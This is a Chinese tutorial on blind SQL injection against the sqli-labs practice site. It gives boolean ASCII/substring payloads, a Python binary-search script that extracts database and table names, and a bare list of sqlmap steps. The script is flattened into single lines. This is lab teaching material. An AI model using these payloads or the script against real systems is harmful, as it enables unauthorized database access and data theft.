sql盲注:sql盲注意思是我们并不能在web页面中看到具体的信息,我们只能通过输入的语句的真假来判断。从而拿到我们想要的信息。
我们通常使用ascii值来进行盲注。
目录
手动注入:
脚本注入:
使用sqlmap工具注入:
手动注入:
1语句1:这里的意思为当数据库的第一个字符的ascii码值为116时为真。下面的web界面可以判断出我们输入的这一条语句为假。所以数据库第一个字符的ascii码值不为116。
id=1' and ascii( substring(database(),1,1))=116 --+
2语句二:这里的意思为当数据库的第一个字符的ascii码值为115时为真。从下面的web界面可以判断出我们输入的这一条语句为真,那么数据库的第一个字符为“s”。
- “s”对应的ascii码值为115
id=1' and ascii( substring(database(),1,1))=115 --+
substring解释:substring(database(),1,1):表示从数据库第一为开始截取一个字符
substring(database(),2,1):表示从数据库第二位开始截取一个字符
.
.
.
substring(database(),n,1):表示从数据库第n位开始截取一个字符
总结:我们就可以通过这样的语句来一个一个字符的将它注入出来。不过手动注入麻烦代价又大,所以我们一般会写一个脚本来注入。
脚本注入:
我们使用python脚本注入:
这个python脚本使用的是二分查找。
import requests
url="http://sqli-labs:8848/less-5/?"
def sql_inject(url):name=" "for i in range(1,100):low = 32high = 128mid = (low + high) // 2while low < high:
# 查数据库名
# urs = "1' and ascii( substring(database(),%d,1)) > %d -- " %(i,mid)
# 查数据库中所有的表名urs = "1' and ascii(substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1)) > %d -- " %(i,mid)res = {"id":urs}r = requests.get(url,params=res)if "You are in..........." in r.text:low = mid+1else:high = midmid = (low +high) // 2if mid == 32:breakname = name + chr(mid)print(name)
sql_inject(url)
运行结果1:将数据库名注入出来
运行结果2:将所在数据库的表注入出来
使用sqlmap工具注入:
1.运行sqlmap.py
2.注入所有数据库名
3.注入所在数据库中的所有表名
4.查所在表的列名
5.查所在列的具体值